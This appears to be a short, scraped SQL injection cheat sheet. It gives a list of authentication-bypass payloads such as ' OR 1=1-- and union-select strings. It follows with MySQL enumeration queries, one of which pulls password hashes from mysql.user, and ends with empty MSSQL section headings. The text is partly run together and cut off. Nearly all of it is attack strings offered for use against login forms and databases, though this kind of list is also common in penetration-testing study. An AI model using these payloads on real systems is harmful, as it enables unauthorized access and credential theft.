SQLi
SQLi Authentication bypass
<username>' OR 1=1--
'OR '' = '
<username>'--
' union select 1, '<user-fieldname>', '<pass-fieldname>' 1--
'OR 1=1--
1'1
1 exec sp_ (or exec xp_)
1 and 1=1
1' and 1=(select count(*) from tablenames); --
1 or 1=1
1' or '1'='1Authenticated SQLi (Refer here)
MYSQL
SELECT version();
SELECT system_user();
show databases;
SHOW TABLES FROM database_name;
OR
use <db_name>
show tables;
describe users; # describes columns in users' table
SELECT * from <test>.<users>; # here test is DB and the user is a table in test db
SELECT user, authentication_string FROM mysql.user WHERE user = 'test';bashMSSQL
Error based SQLi
Union-based SQLi
Manual Code Execution
Template
Examples
One Liner Example
Last updated